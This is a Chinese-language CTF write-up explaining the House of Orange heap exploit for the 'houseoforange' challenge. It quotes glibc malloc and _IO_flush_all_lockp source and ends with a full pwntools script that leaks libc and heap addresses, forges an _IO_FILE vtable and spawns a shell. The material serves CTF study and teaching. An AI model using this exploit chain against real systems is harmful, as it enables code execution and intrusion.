House of orange因一道同名的题而来,它是在程序没有调用free函数的情况下利用其它漏洞结合IO_FILE来达到利用。
- 首先利用漏洞修改top chunk的size,然后申请一个比size大的堆,满足一定条件,这个top chunk就会被释放到unsorted bin里。
- 利用unsorted bin attack,将__IO_list_all指针改写为unsorted bin的头chunk地址
- 利用漏洞在可控的unsorted bin里伪造IO_file_plus和vtable结构
- 再次malloc时,由于unsorted bin里的指针被修改了,发生malloc_printerr报错,而malloc_printerr用到了__IO_list_all指针,会从__IO_list_all指向的地方开始查找合适的FILE结构,并调用里面vtable里的函数。因此,我们在vtable里放入system函数即可getshell
我们先来看一下程序的保护机制
然后,我们用IDA分析一下,一次create创建3个堆,总共可以create三次。
Upgrade操作存在明显的堆溢出漏洞
show功能没有什么异常
做堆题,一般都是要先泄露libc地址,这需要用到unsorted bin,但是本题没有free操作。我们可以利用溢出,修改top chunk的size,改小一点。然后我们malloc一个比这个size大的chunk,由于我们申请的大小超过了top chunk的大小。系统会使用sysmalloc来分配堆,sysmalloc最后会判断old_size如果符合条件,原来的top chunk就会被释放,即放入unsorted bin。
- static void *
- sysmalloc (INTERNAL_SIZE_T nb, mstate av)
- {
- mchunkptr old_top; /* incoming value of av->top */
- INTERNAL_SIZE_T old_size; /* its size */
- /*
- If have mmap, and the request size meets the mmap threshold, and
- the system supports mmap, and there are few enough currently
- allocated mmapped regions, try to directly map this request
- rather than expanding top.
- */
- if (av == NULL
- || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
- && (mp_.n_mmaps < mp_.n_mmaps_max)))
- {
- .........
- /* Setup fencepost and free the old top chunk with a multiple of
- MALLOC_ALIGNMENT in size. */
- /* The fencepost takes at least MINSIZE bytes, because it might
- become the top chunk again later. Note that a footer is set
- up, too, although the chunk is marked in use. */
- old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
- set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
- if (old_size >= MINSIZE)
- {
- set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
- set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
- set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
- _int_free (av, old_top, 1);
- }
- else
- {
- set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
- set_foot (old_top, (old_size + 2 * SIZE_SZ));
- }
- }
- .....
- }
当unsorted bin里有chunk后,我们通过申请堆块,就能让指针保留在我们的申请的堆里,这样我们就能泄露了。当然为了能把heap的地址也泄露出来,我们malloc一个large bin,这样它的fd_nextsize和bk_nextsize中指向自身。
- build(0x30,'a'*0x30)
- #修改top chunk的size为0xF80
- payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
- edit(len(payload),payload)
- #申请一个比top chunk的size大的空间,那么top chunk会被放入unsorted bin
- build(0x1000,'b')
- #接下来申请unsorted bin里的chunk,泄露libc地址和堆地址
- build(0x400,'c')
- show()
- sh.recvuntil('Name of house : ')
- main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- _IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
- libc_base = _IO_list_all_addr - _IO_list_all_s
- system_addr = libc_base + system_s
- print 'libc_base=',hex(libc_base)
- print 'system_addr=',hex(system_addr)
- print '_IO_list_all_addr=',hex(_IO_list_all_addr)
- #泄露堆地址
- edit(0x10,'c'*0x10)
- show()
- sh.recvuntil('c'*0x10)
- heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
- heap_base = heap_addr - 0xE0
- print 'heap_base=',hex(heap_base)
接下来,我们利用unsorted bin attack修改__IO_list_all指针
Unsorted bin attack的原理在glibc的源码中,我们伪造将__IO_list_all-0x10伪造成bk,这样bck->fd = __IO_list_all = unsorted_chunks (av) = main_arena + 0x58
- /* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
此时, main_arena + 0x58相当于一个IO_file_plus结构,但是main_arena+0x58的内容我们不能完全控制,也就不能在这里伪造结构。
我们看到IO_file_plus结构有一个_chain指针,它位于IO_file_plus+0x68处,指向了下一个IO_file_plus结构体,相当于单链表一样,用指针连接起来。现在main_arena+0x58是IO_file_plus,那么_chain的位置就在main_arena+0x58 + 0x68 = main_arena + 0xC0,而main_arena + 0xC0存储着的是small bin的头地址。所以,我们要让main_arena + 0xC0指向一个我们可控的地方,然后在那里伪造第二个IO_file_plus结构,即通过转移,让它转移到我们可控的地方。
我们可以把unsorted bin的头结点的size改成0x60,这样当我们调用malloc,glibc会整理unsorted bin,把对应size的chunk放入对应的bin里面。此时,size为0x60,属于small_bin
- static void *
- _int_malloc (mstate av, size_t bytes)
- {
- /* remove from unsorted list */
- unsorted_chunks (av)->bk = bck;
- bck->fd = unsorted_chunks (av);
- /* Take now instead of binning if exact fit */
- if (size == nb)
- {
- set_inuse_bit_at_offset (victim, size);
- if (av != &main_arena)
- victim->size |= NON_MAIN_ARENA;
- check_malloced_chunk (av, victim, nb);
- void *p = chunk2mem (victim);
- alloc_perturb (p, bytes);
- return p;
- }
- /* place chunk in bin */
- if (in_smallbin_range (size))
- {
- victim_index = smallbin_index (size); //victim_index=6
- bck = bin_at (av, victim_index); //bck=&av->bins[10]-0x10
- fwd = bck->fd; //fwd=&av->bins[10]
- }
- ...
- mark_bin (av, victim_index);
- victim->bk = bck;
- victim->fd = fwd;
- fwd->bk = victim;//&av->bins[10]+0x18 = old_top
- bck->fd = victim;
- }
main_arena结构
- struct malloc_state
- {
- /* Serialize access. */
- mutex_t mutex;
- /* Flags (formerly in max_fast). */
- int flags;
- /* Fastbins */
- mfastbinptr fastbinsY[NFASTBINS];
- /* Base of the topmost chunk -- not otherwise kept in a bin */
- mchunkptr top;
- /* The remainder from the most recent split of a small request */
- mchunkptr last_remainder;
- /* Normal bins packed as described above */
- mchunkptr bins[NBINS * 2 - 2];
- /* Bitmap of bins */
- unsigned int binmap[BINMAPSIZE];
- /* Linked list */
- struct malloc_state *next;
- /* Linked list for free arenas. Access to this field is serialized
- by free_list_lock in arena.c. */
- struct malloc_state *next_free;
- /* Number of threads attached to this arena. 0 if the arena is on
- the free list. Access to this field is serialized by
- free_list_lock in arena.c. */
- INTERNAL_SIZE_T attached_threads;
- /* Memory allocated from the system in this arena. */
- INTERNAL_SIZE_T system_mem;
- INTERNAL_SIZE_T max_system_mem;
- };
av->bins[10]+0x18 = main_arena + 0x58 + 0x8*10 + 0x18 = main_arena + 0xC0 = old_top
我们让unsorted bin的size为0x60,是为了让chain指针正好重新指回来,指向我们可控的地方。
那么,我们就可以开始伪造结构体了,我们还需要绕过一下检查
- _IO_flush_all_lockp (int do_lock)
- {
- int result = 0;
- FILE *fp;
- #ifdef _IO_MTSAFE_IO
- _IO_cleanup_region_start_noarg (flush_cleanup);
- _IO_lock_lock (list_all_lock);
- #endif
- for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
- {
- run_fp = fp;
- if (do_lock)
- _IO_flockfile (fp);
- if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
- || (_IO_vtable_offset (fp) == 0
- && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
- > fp->_wide_data->_IO_write_base))/*我们需要构造满足条件*/
- )
- && _IO_OVERFLOW (fp, EOF) == EOF)/*从_IO_list_all指向的FILE结构开始查找,找到合适_IO_FILE作为_IO_OVERFLOW的参数,执行vtable里面的函数,把IO_FILE结构体本身作为参数*/
- result = EOF;
- if (do_lock)
- _IO_funlockfile (fp);
- run_fp = NULL;
- }
- #ifdef _IO_MTSAFE_IO
- _IO_lock_unlock (list_all_lock);
- _IO_cleanup_region_end (0);
- #endif
- return result;
- }
我们伪造的结构体如下
- #执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
- fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
- #unsorted bin attack,修改_IO_list_all为main_arena+88
- fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
- #_IO_write_base < _IO_write_ptr
- fake_file += p64(0) + p64(1)
- fake_file = fake_file.ljust(0xC0,'\x00')
- fake_file += p64(0)*3
- #vtable指针,同时,也作为fake_vtable的__dummy
- fake_file += p64(heap_base + 0x5E8)
- #__dummy2、__finish
- fake_file += p64(0)*2
- #__overflow
- fake_file += p64(system_addr)
现在,让我们来malloc触发后看看
同时,我们也已经getshell
如果getsehll失败,可以多试几次就会成功。因为栈环境问题。
#coding:utf8
from pwn import *
sh = process('./houseoforange')
#sh = remote('111.198.29.45',44076)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#libc = ELF('./libc64-2.19.so')
_IO_list_all_s = libc.symbols['_IO_list_all']
system_s = libc.sym['system']
def build(size,name):
sh.sendlineafter('Your choice :','1')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name :',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
def show():
sh.sendlineafter('Your choice :','2')
def edit(size,name):
sh.sendlineafter('Your choice :','3')
sh.sendlineafter('Length of name :',str(size))
sh.sendafter('Name:',name)
sh.sendlineafter('Price of Orange:','123')
sh.sendlineafter('Color of Orange:','1')
build(0x30,'a'*0x30)
#修改top chunk的size为0xF80
payload = 'a'*0x30 + p64(0) + p64(0x21) + 'b'*0x10 + p64(0) + p64(0xF80)
edit(len(payload),payload)
#申请一个比top chunk的size大的空间,那么top chunk会被放入unsorted bin
build(0x1000,'b')
#接下来申请unsorted bin里的chunk,泄露libc地址和堆地址
build(0x400,'c')
show()
sh.recvuntil('Name of house : ')
main_arena_xx = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
_IO_list_all_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (_IO_list_all_s & 0xFFF)
libc_base = _IO_list_all_addr - _IO_list_all_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print '_IO_list_all_addr=',hex(_IO_list_all_addr)
#泄露堆地址
edit(0x10,'c'*0x10)
show()
sh.recvuntil('c'*0x10)
heap_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
heap_base = heap_addr - 0xE0
print 'heap_base=',hex(heap_base)
payload = 'a'*0x400
payload += p64(0) + p64(0x21) + 'a'*0x10
#执行vtable的函数时,FILE结构体地址被作为参数,因此,我们在最开头写/bin/sh字符串
fake_file = '/bin/sh\x00' + p64(0x60) #size作为0x60,被放入small_bin,从而对应了chain指针
#unsorted bin attack,修改_IO_list_all为main_arena+88
fake_file += p64(0) + p64(_IO_list_all_addr-0x10)
#_IO_write_base < _IO_write_ptr
fake_file += p64(0) + p64(1)
fake_file = fake_file.ljust(0xC0,'\x00')
fake_file += p64(0)*3
#vtable指针,同时,也作为fake_vtable的__dummy
fake_file += p64(heap_base + 0x5E8)
#__dummy2、__finish
fake_file += p64(0)*2
#__overflow
fake_file += p64(system_addr)
payload += fake_file
edit(len(payload),payload)
#malloc触发异常,getshell
sh.recv()
sh.sendline('1')
sh.interactive()